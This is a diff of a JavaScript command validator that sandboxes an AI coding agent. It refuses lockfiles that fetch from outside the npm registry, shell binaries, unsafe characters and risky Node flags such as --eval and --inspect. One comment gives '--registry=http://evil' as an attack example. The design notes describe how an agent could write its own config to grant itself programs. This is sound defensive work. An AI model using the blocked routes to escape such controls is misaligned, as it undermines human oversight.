* `validateNpmInstall`'s comment said `npm ci` "installs exactly what the
|
|
846
|
+
* lockfile already records, which makes it the SAFEST member of this family: it
|
|
847
|
+
* introduces no name the repository has not already committed to." Every clause
|
|
848
|
+
* is true and the conclusion is backwards. In the threat model this whole file
|
|
849
|
+
* is written for — A REPOSITORY SOMEBODY ELSE WROTE — "the repository has
|
|
850
|
+
* committed to it" is the attack, not the reassurance. `package-lock.json`
|
|
851
|
+
* carries a `resolved` URL per package and npm fetches from it, so a hostile
|
|
852
|
+
* lockfile points anywhere while `package.json` reads as innocent registry
|
|
853
|
+
* names. Closing the manifest and leaving this open would be closing the front
|
|
854
|
+
* door and leaving the back one.
|
|
855
|
+
*
|
|
856
|
+
* ⭐ A `resolved` may be absent (npm omits it for bundled and local entries) and
|
|
857
|
+
* that is not suspicious. Only a PRESENT one that is not the registry is.
|
|
858
|
+
*
|
|
859
|
+
* @param {string} text contents of `package-lock.json`
|
|
860
|
+
*/
|
|
861
|
+
export function inspectLockfileForInstall(text) {
|
|
862
|
+
let lock;
|
|
863
|
+
try { lock = JSON.parse(String(text ?? '')); } catch (err) {
|
|
864
|
+
return { ok: false, error: `package-lock.json is not valid JSON, so where it would fetch from cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
|
|
865
|
+
}
|
|
866
|
+
if (!lock || typeof lock !== 'object') return { ok: true };
|
|
867
|
+
|
|
868
|
+
const offenders = [];
|
|
869
|
+
const visit = (node, where) => {
|
|
870
|
+
if (!node || typeof node !== 'object') return;
|
|
871
|
+
if (typeof node.resolved === 'string' && node.resolved && !isRegistryTarball(node.resolved)) {
|
|
872
|
+
offenders.push(`${where || '(root)'} ← ${node.resolved}`);
|
|
873
|
+
}
|
|
874
|
+
// v2/v3 lockfiles use `packages`; v1 uses `dependencies`. Both are walked,
|
|
875
|
+
// because a lockfile of either shape installs the same way.
|
|
876
|
+
for (const field of ['packages', 'dependencies']) {
|
|
877
|
+
const kids = node[field];
|
|
878
|
+
if (!kids || typeof kids !== 'object' || Array.isArray(kids)) continue;
|
|
879
|
+
for (const [name, child] of Object.entries(kids)) visit(child, name || where);
|
|
880
|
+
}
|
|
881
|
+
};
|
|
882
|
+
visit(lock, '');
|
|
883
|
+
|
|
884
|
+
if (offenders.length === 0) return { ok: true };
|
|
885
|
+
return {
|
|
886
|
+
ok: false,
|
|
887
|
+
error: `package-lock.json in this workspace fetches code from outside the npm registry, so this install is refused:\n ${offenders.slice(0, 8).join('\n ')}`
|
|
888
|
+
+ (offenders.length > 8 ? `\n …and ${offenders.length - 8} more` : '')
|
|
889
|
+
+ '\nA lockfile records WHERE each package comes from, not only its name, so an innocent-looking package.json '
|
|
890
|
+
+ 'can still install somebody else\'s code. This is an install a human should run.',
|
|
891
|
+
};
|
|
892
|
+
}
|
|
893
|
+
|
|
894
|
+
/** The one host an install may fetch a tarball from. */
|
|
895
|
+
function isRegistryTarball(url) {
|
|
896
|
+
try {
|
|
897
|
+
const u = new URL(String(url));
|
|
898
|
+
return u.protocol === 'https:' && u.hostname.toLowerCase() === 'registry.npmjs.org';
|
|
899
|
+
} catch {
|
|
900
|
+
return false;
|
|
901
|
+
}
|
|
902
|
+
}
|
|
903
|
+
|
|
904
|
+
/**
|
|
905
|
+
* `npm install [flags] [pkg…]` / `npm ci [flags]`, as a pure decision.
|
|
906
|
+
*
|
|
907
|
+
* ⚠️ `ci` TAKES NO PACKAGES BY DEFINITION — it installs exactly what the
|
|
908
|
+
* lockfile already records, and it introduces no name the repository has not
|
|
909
|
+
* already committed to.
|
|
910
|
+
*
|
|
911
|
+
* ⚠️⚠️ THIS USED TO CONCLUDE "WHICH MAKES IT THE SAFEST MEMBER OF THIS FAMILY",
|
|
912
|
+
* AND THAT IS BACKWARDS. Every clause above is true; the conclusion inverts the
|
|
913
|
+
* threat model the rest of this file is written for. A REPOSITORY SOMEBODY ELSE
|
|
914
|
+
* WROTE is the case that matters, and there "the repository has already
|
|
915
|
+
* committed to it" is the attack rather than the reassurance —
|
|
916
|
+
* `package-lock.json` carries a `resolved` URL per package and npm fetches from
|
|
917
|
+
* it. Taking no operands does not make a command safe; it makes it a command
|
|
918
|
+
* with nothing for THIS function to check. See `inspectLockfileForInstall`.
|
|
919
|
+
*
|
|
920
|
+
* @param {string} command the original string, echoed back on success
|
|
921
|
+
* @param {string[]} tokens `['npm', 'install', …]`
|
|
922
|
+
*/
|
|
923
|
+
function validateNpmInstall(command, tokens) {
|
|
924
|
+
const sub = tokens[1];
|
|
925
|
+
const rest = tokens.slice(2);
|
|
926
|
+
const packages = [];
|
|
927
|
+
for (const token of rest) {
|
|
928
|
+
if (token.startsWith('-')) {
|
|
929
|
+
// ⚠️ `--flag=value` is split so `--registry=http://evil` cannot slip past
|
|
930
|
+
// a check that only looked at whole tokens.
|
|
931
|
+
const head = token.includes('=') ? token.slice(0, token.indexOf('=')) : token;
|
|
932
|
+
const why = REFUSED_INSTALL_FLAGS.get(head);
|
|
933
|
+
if (why) return { ok: false, error: `npm ${sub} ${head} is refused — ${why}.` };
|
|
934
|
+
if (!INSTALL_FLAGS.has(token)) {
|
|
935
|
+
return { ok: false, error: `"${token}" is not a flag this agent may pass to npm ${sub}. Allowed: ${[...INSTALL_FLAGS].join(', ')}.` };
|
|
936
|
+
}
|
|
937
|
+
continue;
|
|
938
|
+
}
|
|
939
|
+
const spec = validateInstallSpec(token);
|
|
940
|
+
if (!spec.ok) return spec;
|
|
941
|
+
packages.push({ raw: token, name: spec.name, version: spec.version ?? null });
|
|
942
|
+
}
|
|
943
|
+
|
|
944
|
+
if (sub === 'ci' && packages.length) {
|
|
945
|
+
return { ok: false, error: 'npm ci installs exactly what package-lock.json already records and takes no package names. To add a new dependency use "npm install <package>".' };
|
|
946
|
+
}
|
|
947
|
+
if (packages.length > MAX_INSTALL_PACKAGES) {
|
|
948
|
+
return { ok: false, error: `${packages.length} packages in one install is more than the ${MAX_INSTALL_PACKAGES} allowed here — install them in separate steps so each name is visible on its own line of the transcript.` };
|
|
949
|
+
}
|
|
950
|
+
return { ok: true, command, tokens, binary: 'npm', npmInstall: { sub, packages } };
|
|
951
|
+
}
|
|
952
|
+
|
|
953
|
+
/**
|
|
954
|
+
* ── ⚠️⚠️ WHY THE WORKSPACE FILE MAY ONLY PICK FROM A MENU ───────────────────
|
|
955
|
+
*
|
|
956
|
+
* `policy.mjs` states the problem exactly: **the config lives in the workspace,
|
|
957
|
+
* and the agent can write to the workspace.** It solves it by making every
|
|
958
|
+
* policy field monotone downward — a layer can only ever REMOVE permission, so
|
|
959
|
+
* a hostile `.acuvo/policy.json` is a denial of service against itself.
|
|
960
|
+
*
|
|
961
|
+
* An allowlist of programs cannot be monotone downward: the whole point is to
|
|
962
|
+
* ADD. So the same problem needs a different answer, and the answer is to bound
|
|
963
|
+
* what the addition can possibly be:
|
|
964
|
+
*
|
|
965
|
+
* **`.acuvo/commands.json` may name PRESETS and nothing else.** Every preset
|
|
966
|
+
* is a menu item this file vetted — a build/test driver for code already on
|
|
967
|
+
* disk. `write_file(".acuvo/commands.json", {"presets":["python"]})` therefore
|
|
968
|
+
* buys the agent a second interpreter for code it could already execute with
|
|
969
|
+
* `node`. It does not buy a shell, a downloader, or a program of its choosing.
|
|
970
|
+
*
|
|
971
|
+
* **An arbitrary binary can only be named in `ACUVO_ALLOW_COMMANDS`**, which
|
|
972
|
+
* is the parent process's environment. The agent has no verb that reaches it —
|
|
973
|
+
* same argument `policy.mjs` makes for `ACUVO_POLICY_FILE`, and it is why that
|
|
974
|
+
* variable, not the file, is the actual control.
|
|
975
|
+
*
|
|
976
|
+
* ⚠️ AND THE HONEST LIMIT OF THAT: a workspace file is a project CONVENTION,
|
|
977
|
+
* reviewable in a PR, adequate against mistakes. It is not a control against a
|
|
978
|
+
* determined agent, and nothing inside the workspace can be. What it IS, is
|
|
979
|
+
* bounded — which is the property that makes the difference survivable.
|
|
980
|
+
*/
|
|
981
|
+
const CONFIG_KEYS = new Set(['presets', 'allow']);
|
|
982
|
+
|
|
983
|
+
/**
|
|
984
|
+
* The lookup a validator uses: which binaries exist, and the grammar for each.
|
|
985
|
+
* @typedef {{ binaries: string[], grammar: Map<string, BinaryGrammar> }} Allowlist
|
|
986
|
+
*/
|
|
987
|
+
|
|
988
|
+
/** The built-in grammars for the original four, expressed in the same shape. */
|
|
989
|
+
const BUILTIN_GRAMMAR = new Map([
|
|
990
|
+
['node', { builtin: 'node' }],
|
|
991
|
+
['npm', { builtin: 'npm' }],
|
|
992
|
+
['npx', { builtin: 'npx' }],
|
|
993
|
+
['tsc', { builtin: 'tsc' }],
|
|
994
|
+
]);
|
|
995
|
+
|
|
996
|
+
/** @type {Allowlist} */
|
|
997
|
+
export const DEFAULT_ALLOWLIST = Object.freeze({
|
|
998
|
+
binaries: Object.freeze([...ALLOWED_BINARIES]),
|
|
999
|
+
grammar: BUILTIN_GRAMMAR,
|
|
1000
|
+
});
|
|
1001
|
+
|
|
1002
|
+
/**
|
|
1003
|
+
* Assemble an allowlist from preset names and admin-declared binaries.
|
|
1004
|
+
*
|
|
1005
|
+
* ⚠️ ADDITIVE ONLY ON TOP OF THE FOUR. The default binaries are always present;
|
|
1006
|
+
* there is no configuration that REMOVES one, because that is `policy.mjs`'s job
|
|
1007
|
+
* (`forbidTools: ["run_command"]`) and two mechanisms for the same intent is how
|
|
1008
|
+
* they drift into disagreeing.
|
|
1009
|
+
*
|
|
1010
|
+
* @param {{ presets?: string[], allow?: Array<{ binary: string, flags?: string[] }> }} spec
|
|
1011
|
+
*/
|
|
1012
|
+
export function buildAllowlist({ presets = [], allow = [] } = {}) {
|
|
1013
|
+
const grammar = new Map(BUILTIN_GRAMMAR);
|
|
1014
|
+
const binaries = [...ALLOWED_BINARIES];
|
|
1015
|
+
for (const name of presets) {
|
|
1016
|
+
const preset = COMMAND_PRESETS[name];
|
|
1017
|
+
/* c8 ignore next */
|
|
1018
|
+
if (!preset) continue; // parsing already refused unknown names
|
|
1019
|
+
for (const bin of preset.binaries) {
|
|
1020
|
+
if (!binaries.includes(bin)) binaries.push(bin);
|
|
1021
|
+
grammar.set(bin, { ...preset.grammar[bin], binary: bin, preset: name });
|
|
1022
|
+
}
|
|
1023
|
+
}
|
|
1024
|
+
for (const decl of allow) {
|
|
1025
|
+
if (!binaries.includes(decl.binary)) binaries.push(decl.binary);
|
|
1026
|
+
grammar.set(decl.binary, {
|
|
1027
|
+
binary: decl.binary,
|
|
1028
|
+
flags: new Set(decl.flags ?? []),
|
|
1029
|
+
valueFlags: new Set(decl.flags ?? []),
|
|
1030
|
+
resolve: 'path',
|
|
1031
|
+
/** ⚠️ Marks a binary whose grammar came from a human, not from us — the
|
|
1032
|
+
* refusal message has to say so, because "not an allowed flag" reads as
|
|
1033
|
+
* our decision when it was theirs. */
|
|
1034
|
+
custom: true,
|
|
1035
|
+
});
|
|
1036
|
+
}
|
|
1037
|
+
return { binaries, grammar };
|
|
1038
|
+
}
|
|
1039
|
+
|
|
1040
|
+
/** Which preset would unlock this binary? Used to make a refusal actionable. */
|
|
1041
|
+
function presetProviding(binary) {
|
|
1042
|
+
for (const [name, preset] of Object.entries(COMMAND_PRESETS)) {
|
|
1043
|
+
if (preset.binaries.includes(binary)) return name;
|
|
1044
|
+
}
|
|
1045
|
+
return null;
|
|
1046
|
+
}
|
|
1047
|
+
|
|
1048
|
+
function checkBinaryName(name, where) {
|
|
1049
|
+
if (typeof name !== 'string' || !name.trim()) {
|
|
1050
|
+
return { ok: false, error: `${where}: a binary name must be a non-empty string (got ${JSON.stringify(name)})` };
|
|
1051
|
+
}
|
|
1052
|
+
const bin = name.trim();
|
|
1053
|
+
// ⚠️ Same shape rule as everything else: a name, not a path. `../../bin/sh`
|
|
1054
|
+
// and `/bin/sh` are not binary names, they are an attempt to pick a file.
|
|
1055
|
+
if (!/^[A-Za-z0-9][A-Za-z0-9._-]*$/.test(bin)) {
|
|
1056
|
+
return { ok: false, error: `${where}: "${bin}" is not a plain program name — a path is not accepted here, only a name resolved on PATH` };
|
|
1057
|
+
}
|
|
1058
|
+
if (NEVER_ALLOWED_BINARIES.has(bin.toLowerCase())) {
|
|
1059
|
+
return {
|
|
1060
|
+
ok: false,
|
|
1061
|
+
error: `${where}: "${bin}" is a shell (or runs one), and it is refused at every layer including this one. A shell parses the command string, which is the exact thing this tool exists to prevent — every other guard here assumes no shell exists.`,
|
|
1062
|
+
};
|
|
1063
|
+
}
|
|
1064
|
+
return { ok: true, binary: bin };
|
|
1065
|
+
}
|
|
1066
|
+
|
|
1067
|
+
function readPresetNames(value, where) {
|
|
1068
|
+
if (!Array.isArray(value)) {
|
|
1069
|
+
return { ok: false, error: `${where}: "presets" must be an array of strings${typeof value === 'string' ? ` (wrap it: ["${value}"])` : ''}` };
|
|
1070
|
+
}
|
|
1071
|
+
const out = [];
|
|
1072
|
+
for (const item of value) {
|
|
1073
|
+
if (typeof item !== 'string' || !item.trim()) {
|
|
1074
|
+
return { ok: false, error: `${where}: "presets" contains ${JSON.stringify(item)}, which is not a non-empty string` };
|
|
1075
|
+
}
|
|
1076
|
+
const name = item.trim();
|
|
1077
|
+
if (!COMMAND_PRESETS[name]) {
|
|
1078
|
+
const near = PRESET_NAMES.filter((n) => n.startsWith(name.slice(0, 2)) || name.startsWith(n.slice(0, 2)));
|
|
1079
|
+
return {
|
|
1080
|
+
ok: false,
|
|
1081
|
+
error: `${where}: "${name}" is not a preset${near.length ? `. Did you mean ${near.map((n) => `"${n}"`).join(' or ')}?` : ''} Known presets: ${PRESET_NAMES.join(', ')}`,
|
|
1082
|
+
};
|
|
1083
|
+
}
|
|
1084
|
+
if (!out.includes(name)) out.push(name);
|
|
1085
|
+
}
|
|
1086
|
+
return { ok: true, value: out };
|
|
1087
|
+
}
|
|
1088
|
+
|
|
1089
|
+
/**
|
|
1090
|
+
* Parse `.acuvo/commands.json`.
|
|
1091
|
+
*
|
|
1092
|
+
* ⚠️ FAIL CLOSED, AND AN UNKNOWN KEY IS AN ERROR — the same reasoning
|
|
1093
|
+
* `policy.mjs` gives and the same accident being designed against:
|
|
1094
|
+
* `{"preset": ["python"]}` is valid JSON, enables nothing, and reads to a human
|
|
1095
|
+
* as an enabled ecosystem. A typo whose symptom is "everything looks fine" is
|
|
1096
|
+
* the one that survives review.
|
|
1097
|
+
*
|
|
1098
|
+
* @param {string} text
|
|
1099
|
+
* @param {{ label?: string, admin?: boolean }} [opts]
|
|
1100
|
+
*/
|
|
1101
|
+
export function parseCommandsConfig(text, { label = COMMANDS_CONFIG_FILE, admin = false } = {}) {
|
|
1102
|
+
if (typeof text !== 'string') return { ok: false, error: `${label}: expected the file's text` };
|
|
1103
|
+
// ⚠️ A UTF-8 BOM is what Windows editors write, and `JSON.parse` throws on it.
|
|
1104
|
+
// Refusing a real file a real user saved is the "check that fails correct
|
|
1105
|
+
// work" failure, so it is stripped before parsing rather than diagnosed after.
|
|
1106
|
+
const trimmed = text.replace(/^\uFEFF/, '').trim();
|
|
1107
|
+
if (!trimmed) {
|
|
1108
|
+
return { ok: false, error: `${label}: the file is empty. Write {} for a config that enables nothing, or {"presets":["python"]} to enable an ecosystem.` };
|
|
1109
|
+
}
|
|
1110
|
+
let doc;
|
|
1111
|
+
try {
|
|
1112
|
+
doc = JSON.parse(trimmed);
|
|
1113
|
+
} catch (err) {
|
|
1114
|
+
return { ok: false, error: `${label}: not valid JSON — ${err instanceof Error ? err.message : String(err)}` };
|
|
1115
|
+
}
|
|
1116
|
+
if (typeof doc !== 'object' || doc === null || Array.isArray(doc)) {
|
|
1117
|
+
return { ok: false, error: `${label}: the top level must be a JSON object` };
|
|
1118
|
+
}
|
|
1119
|
+
for (const key of Object.keys(doc)) {
|
|
1120
|
+
if (!CONFIG_KEYS.has(key)) {
|
|
1121
|
+
return { ok: false, error: `${label}: unknown setting "${key}". A misspelled key enables nothing and reads like it enabled something. Known: ${[...CONFIG_KEYS].join(', ')}` };
|
|
1122
|
+
}
|
|
1123
|
+
}
|
|
1124
|
+
|
|
1125
|
+
const out = { presets: [], allow: [] };
|
|
1126
|
+
if ('presets' in doc) {
|
|
1127
|
+
const p = readPresetNames(doc.presets, label);
|
|
1128
|
+
if (!p.ok) return p;
|
|
1129
|
+
out.presets = p.value;
|
|
1130
|
+
}
|
|
1131
|
+
if ('allow' in doc) {
|
|
1132
|
+
if (!admin) {
|
|
1133
|
+
return {
|
|
1134
|
+
ok: false,
|
|
1135
|
+
error: `${label}: "allow" names an arbitrary program, and this file is inside the workspace — the agent can write it, so a grant here would be the agent granting itself. Presets are allowed here because every preset is a vetted menu item. To add a program of your own, set ${ALLOW_COMMANDS_ENV} in the environment that launches the CLI.`,
|
|
1136
|
+
};
|
|
1137
|
+
}
|
|
1138
|
+
if (!Array.isArray(doc.allow)) return { ok: false, error: `${label}: "allow" must be an array` };
|
|
1139
|
+
for (const entry of doc.allow) {
|
|
1140
|
+
const raw = typeof entry === 'string' ? { binary: entry } : entry;
|
|
1141
|
+
if (typeof raw !== 'object' || raw === null) return { ok: false, error: `${label}: "allow" contains ${JSON.stringify(entry)}, which is not a name or an object` };
|
|
1142
|
+
const named = checkBinaryName(raw.binary, label);
|
|
1143
|
+
if (!named.ok) return named;
|
|
1144
|
+
let flags = [];
|
|
1145
|
+
if ('flags' in raw) {
|
|
1146
|
+
if (!Array.isArray(raw.flags)) return { ok: false, error: `${label}: "flags" for ${named.binary} must be an array of strings` };
|
|
1147
|
+
for (const f of raw.flags) {
|
|
1148
|
+
if (typeof f !== 'string' || !f.trim()) return { ok: false, error: `${label}: "flags" for ${named.binary} contains ${JSON.stringify(f)}` };
|
|
1149
|
+
flags.push(f.trim());
|
|
1150
|
+
}
|
|
1151
|
+
}
|
|
1152
|
+
out.allow.push({ binary: named.binary, flags });
|
|
1153
|
+
}
|
|
1154
|
+
}
|
|
1155
|
+
return { ok: true, config: out };
|
|
1156
|
+
}
|
|
1157
|
+
|
|
1158
|
+
/**
|
|
1159
|
+
* Parse `ACUVO_ALLOW_COMMANDS`.
|
|
1160
|
+
*
|
|
1161
|
+
* Comma-separated. An entry that names a preset enables it; anything else is a
|
|
1162
|
+
* binary declaration, optionally with its flags: `ruff:check|--fix`.
|
|
1163
|
+
*
|
|
1164
|
+
* ⚠️ A BARE BINARY GETS NO FLAGS, and that is deliberate rather than lazy. We do
|
|
1165
|
+
* not know a stranger binary's argument semantics — `-c` means "config" to one
|
|
1166
|
+
* program and "execute this string" to the next — so guessing a generic flag
|
|
1167
|
+
* shape would be a guard that pretends. The person adding the binary knows, so
|
|
1168
|
+
* they say, and the refusal message tells them where.
|
|
1169
|
+
*
|
|
1170
|
+
* @param {unknown} raw
|
|
1171
|
+
*/
|
|
1172
|
+
export function parseAllowCommandsEnv(raw) {
|
|
1173
|
+
const where = ALLOW_COMMANDS_ENV;
|
|
1174
|
+
if (raw === undefined || raw === null) return { ok: true, presets: [], allow: [], stated: false };
|
|
1175
|
+
if (typeof raw !== 'string') return { ok: false, error: `${where}: expected a string` };
|
|
1176
|
+
const text = raw.trim();
|
|
1177
|
+
if (!text) return { ok: true, presets: [], allow: [], stated: false };
|
|
1178
|
+
|
|
1179
|
+
const presets = [];
|
|
1180
|
+
const allow = [];
|
|
1181
|
+
for (const piece of text.split(',')) {
|
|
1182
|
+
const entry = piece.trim();
|
|
1183
|
+
if (!entry) continue;
|
|
1184
|
+
const colon = entry.indexOf(':');
|
|
1185
|
+
const name = (colon === -1 ? entry : entry.slice(0, colon)).trim();
|
|
1186
|
+
if (colon === -1 && COMMAND_PRESETS[name]) {
|
|
1187
|
+
if (!presets.includes(name)) presets.push(name);
|
|
1188
|
+
continue;
|
|
1189
|
+
}
|
|
1190
|
+
const named = checkBinaryName(name, where);
|
|
1191
|
+
if (!named.ok) return named;
|
|
1192
|
+
const flags = colon === -1
|
|
1193
|
+
? []
|
|
1194
|
+
: entry.slice(colon + 1).split('|').map((f) => f.trim()).filter(Boolean);
|
|
1195
|
+
allow.push({ binary: named.binary, flags });
|
|
1196
|
+
}
|
|
1197
|
+
return { ok: true, presets, allow, stated: true };
|
|
1198
|
+
}
|
|
1199
|
+
|
|
1200
|
+
/**
|
|
1201
|
+
* Fold both layers into one allowlist. PURE — it takes text, not paths, exactly
|
|
1202
|
+
* like `loadPolicy`, so the whole decision is testable without a disk.
|
|
1203
|
+
*
|
|
1204
|
+
* @param {{ configText?: string|null, configLabel?: string, envValue?: unknown }} [input]
|
|
1205
|
+
*/
|
|
1206
|
+
export function resolveCommandAllowlist({ configText = null, configLabel = COMMANDS_CONFIG_FILE, envValue = undefined } = {}) {
|
|
1207
|
+
const sources = [];
|
|
1208
|
+
let presets = [];
|
|
1209
|
+
let allow = [];
|
|
1210
|
+
|
|
1211
|
+
const env = parseAllowCommandsEnv(envValue);
|
|
1212
|
+
if (!env.ok) return env;
|
|
1213
|
+
if (env.stated) {
|
|
1214
|
+
presets = [...presets, ...env.presets];
|
|
1215
|
+
allow = [...allow, ...env.allow];
|
|
1216
|
+
sources.push({ label: ALLOW_COMMANDS_ENV, trusted: true });
|
|
1217
|
+
}
|
|
1218
|
+
|
|
1219
|
+
if (configText !== null && configText !== undefined) {
|
|
1220
|
+
const parsed = parseCommandsConfig(configText, { label: configLabel, admin: false });
|
|
1221
|
+
if (!parsed.ok) return parsed;
|
|
1222
|
+
for (const p of parsed.config.presets) if (!presets.includes(p)) presets.push(p);
|
|
1223
|
+
sources.push({ label: configLabel, trusted: false });
|
|
1224
|
+
}
|
|
1225
|
+
|
|
1226
|
+
return { ok: true, allowlist: buildAllowlist({ presets, allow }), sources, presets };
|
|
1227
|
+
}
|
|
1228
|
+
|
|
1229
|
+
/**
|
|
1230
|
+
* ⚠️ A DIFFERENT LIST FOR `package.json` SCRIPT BODIES, AND THE DIFFERENCE IS
|
|
1231
|
+
* DELIBERATE IN BOTH DIRECTIONS.
|
|
1232
|
+
*
|
|
1233
|
+
* `vitest` is added, because `"test": "vitest run"` is what a real project
|
|
1234
|
+
* contains and refusing it would make the npm layer useless. `npm` and `npx`
|
|
1235
|
+
* are REMOVED, because a script that shells out to another script is a chain
|
|
1236
|
+
* this validator would have to follow to stay honest — and a validator that
|
|
1237
|
+
* checks the first link and waves the rest through is worse than one that says
|
|
1238
|
+
* "I cannot verify this" and refuses.
|
|
1239
|
+
*/
|
|
1240
|
+
export const ALLOWED_SCRIPT_BINARIES = ['node', 'vitest', 'tsc'];
|
|
1241
|
+
|
|
1242
|
+
/** `npx <package>` downloads and executes a stranger's code. Two packages, and
|
|
1243
|
+
* `--no` is injected at spawn time so even these can never be fetched. */
|
|
1244
|
+
export const ALLOWED_NPX_PACKAGES = ['vitest', 'tsc'];
|
|
1245
|
+
|
|
1246
|
+
/**
|
|
1247
|
+
* ⚠️ THE CHARACTER WHITELIST. Same doctrine as `workspace.mjs`: enumerate what
|
|
1248
|
+
* is allowed, never what is forbidden. Every quoting trick, every encoding of
|
|
1249
|
+
* `;`, every newline-as-second-command and every `$IFS` cleverness dies here
|
|
1250
|
+
* without anyone having had to think of it first.
|
|
1251
|
+
*
|
|
1252
|
+
* `:` earns its place because `npm run build:prod` is normal. `=` because
|
|
1253
|
+
* `--reporter=basic` is normal. That is the whole justification for both.
|
|
1254
|
+
*/
|
|
1255
|
+
/**
|
|
1256
|
+
* ── ⚠️⭐ `*` AND `?` ARE ALLOWED, AND REFUSING THEM WAS PURE LOSS ────────────
|
|
1257
|
+
*
|
|
1258
|
+
* The whitelist blocked them as "shell metacharacters". They are not dangerous
|
|
1259
|
+
* HERE, and the reason is the same one this whole file rests on: **there is no
|
|
1260
|
+
* shell.** A glob cannot start a second command, cannot redirect, cannot
|
|
1261
|
+
* substitute. Unexpanded, it is an ordinary string argument.
|
|
1262
|
+
*
|
|
1263
|
+
* ⚠️ AND THE COST WAS ABSURD: `node --test test/*.test.mjs` is the single most
|
|
1264
|
+
* common test invocation in modern Node, and it is **this package's own test
|
|
1265
|
+
* script** — so Acuvo Code could not run Acuvo Code's test suite. Measured: it
|
|
1266
|
+
* cost a real eval task an entire round, and the model had no way to recover
|
|
1267
|
+
* because the refusal named a rule rather than an alternative.
|
|
1268
|
+
*
|
|
1269
|
+
* ⭐ VERIFIED RATHER THAN ASSUMED: spawned with `shell: false`, the literal
|
|
1270
|
+
* `test/*.test.mjs` reaches node and **node expands it itself** — 316 tests, exit
|
|
1271
|
+
* 0. The glob never needed a shell; we were protecting against an expansion that
|
|
1272
|
+
* only a shell performs.
|
|
1273
|
+
*
|
|
1274
|
+
* ⚠️ Everything genuinely dangerous stays refused: & | ; < > ( ) ` $ quotes and
|
|
1275
|
+
* newlines. Path containment is unaffected — a glob argument is still resolved
|
|
1276
|
+
* and still refused if it escapes the workspace, which is checked downstream and
|
|
1277
|
+
* not here.
|
|
1278
|
+
*/
|
|
1279
|
+
/**
|
|
1280
|
+
* ── ⚠️⭐ `@` WAS BLOCKED, AND IT BLOCKED TWO ORDINARY THINGS ────────────────
|
|
1281
|
+
*
|
|
1282
|
+
* MEASURED while building the install gate: `@` was not in this class, so
|
|
1283
|
+
* `npm install @types/node` and `zod@4.1.12` were refused by the TOKENIZER —
|
|
1284
|
+
* before any install policy ran — with a message about an unsafe character.
|
|
1285
|
+
* Worse, and entirely unrelated to installs, so was
|
|
1286
|
+
* `node node_modules/@scope/pkg/cli.js`: every scoped package's own files were
|
|
1287
|
+
* unreachable to `run_command`, which is a large fraction of modern
|
|
1288
|
+
* `node_modules`.
|
|
1289
|
+
*
|
|
1290
|
+
* ⭐ It is safe here for exactly the reason `*` and `?` are (see above): THERE
|
|
1291
|
+
* IS NO SHELL. `@` cannot start a second command, cannot redirect, cannot
|
|
1292
|
+
* substitute; in `sh` it is not a metacharacter at all, and in `cmd.exe` its
|
|
1293
|
+
* only meaning is echo-suppression at the start of a BATCH LINE, which never
|
|
1294
|
+
* exists because nothing is ever handed to `cmd`. Unexpanded it is an ordinary
|
|
1295
|
+
* string, and every operand still goes through `normalizeRelativePath`.
|
|
1296
|
+
*
|
|
1297
|
+
* ⚠️ THESE TWO REGEXES MUST STAY THE EXACT COMPLEMENT OF EACH OTHER. They are
|
|
1298
|
+
* written twice (one to accept, one to name the offending character) and a
|
|
1299
|
+
* character present in `UNSAFE_CHAR`'s class but missing from
|
|
1300
|
+
* `SAFE_COMMAND_CHARS` produces a command refused with "contains ''" — a defect
|
|
1301
|
+
* that reads like a rule.
|
|
1302
|
+
*
|
|
1303
|
+
* ⚠️ MEASURED WITH MUTATION, AND ONLY ONE DIRECTION IS OBSERVABLE: dropping `@`
|
|
1304
|
+
* from `SAFE_COMMAND_CHARS` turns `test/npm-install.test.mjs` red; dropping it
|
|
1305
|
+
* from `UNSAFE_CHAR` alone changes NOTHING, because `SAFE_COMMAND_CHARS` is
|
|
1306
|
+
* consulted first and returns early. That second drift is latent rather than
|
|
1307
|
+
* live — it becomes a bug the moment the first list shrinks — so it is written
|
|
1308
|
+
* down here rather than pretended to be tested.
|
|
1309
|
+
*/
|
|
1310
|
+
const SAFE_COMMAND_CHARS = /^[A-Za-z0-9 ._\-/=:*?@]+$/;
|
|
1311
|
+
const UNSAFE_CHAR = /[^A-Za-z0-9 ._\-/=:*?@]/;
|
|
1312
|
+
|
|
1313
|
+
/**
|
|
1314
|
+
* Flags whose refusal needs a REASON, because "not on the allowlist" would be
|
|
1315
|
+
* misleading — these are not omissions, they are closed doors.
|
|
1316
|
+
*/
|
|
1317
|
+
const REFUSED_NODE_FLAGS = new Map([
|
|
1318
|
+
['-e', 'code passed with --eval is never written to disk, so nothing it did can be reviewed afterwards'],
|
|
1319
|
+
['--eval', 'code passed with --eval is never written to disk, so nothing it did can be reviewed afterwards'],
|
|
1320
|
+
['-p', 'code passed with --print is never written to disk, so nothing it did can be reviewed afterwards'],
|
|
1321
|
+
['--print', 'code passed with --print is never written to disk, so nothing it did can be reviewed afterwards'],
|
|
1322
|
+
['--input-type', 'it exists to make --eval work, and --eval is refused'],
|
|
1323
|
+
['-r', '--require preloads a module the command does not name; write a file and run it instead'],
|
|
1324
|
+
['--require', '--require preloads a module the command does not name; write a file and run it instead'],
|
|
1325
|
+
['--import', '--import preloads a module the command does not name; write a file and run it instead'],
|
|
1326
|
+
['--loader', 'a custom loader rewrites every module that follows it'],
|
|
1327
|
+
['--experimental-loader', 'a custom loader rewrites every module that follows it'],
|
|
1328
|
+
['--env-file', 'it loads secrets into the child, and this tool exists partly to keep them out'],
|
|
1329
|
+
['--inspect', 'a debugger port is a remote control on the process'],
|
|
1330
|
+
['--inspect-brk', 'a debugger port is a remote control on the process'],
|
|
1331
|
+
['--watch', 'a watcher never exits, so it would spend the whole timeout and return nothing'],
|
|
1332
|
+
['--watch-path', 'a watcher never exits, so it would spend the whole timeout and return nothing'],
|
|
1333
|
+
]);
|
|
1334
|
+
|
|
1335
|
+
const NODE_FLAGS = new Set([
|
|
1336
|
+
'--test', '--check', '--version', '-v',
|
|
1337
|
+
'--no-warnings', '--trace-warnings', '--no-deprecation',
|
|
1338
|
+
'--experimental-strip-types', '--experimental-vm-modules',
|
|
1339
|
+
]);
|
|
1340
|
+
const NODE_VALUE_FLAGS = new Set(['--test-reporter', '--test-concurrency', '--test-name-pattern']);
|
|
1341
|
+
|
|
1342
|
+
const VITEST_FLAGS = new Set(['--run', '--no-color', '--silent', '--passWithNoTests', '--globals']);
|
|
1343
|
+
const VITEST_VALUE_FLAGS = new Set(['--reporter', '--bail', '--config', '--testTimeout']);
|
|
1344
|
+
|
|
1345
|
+
const TSC_FLAGS = new Set(['--noEmit', '--strict', '--pretty', '--skipLibCheck', '--listFiles', '-p', '--project']);
|
|
1346
|
+
